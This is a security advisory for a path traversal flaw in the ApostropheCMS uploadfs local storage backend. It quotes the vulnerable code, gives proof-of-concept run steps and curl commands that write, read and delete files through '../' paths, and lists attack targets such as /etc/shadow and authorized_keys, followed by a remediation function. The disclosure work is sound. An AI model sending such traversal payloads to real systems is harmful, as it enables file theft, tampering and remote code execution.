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GHSA-gmfx-5g6x-rr72
Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txt→/tmp/pwned.txt.
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />
Impact
| Capability | Risk |
|------------|------|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}
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The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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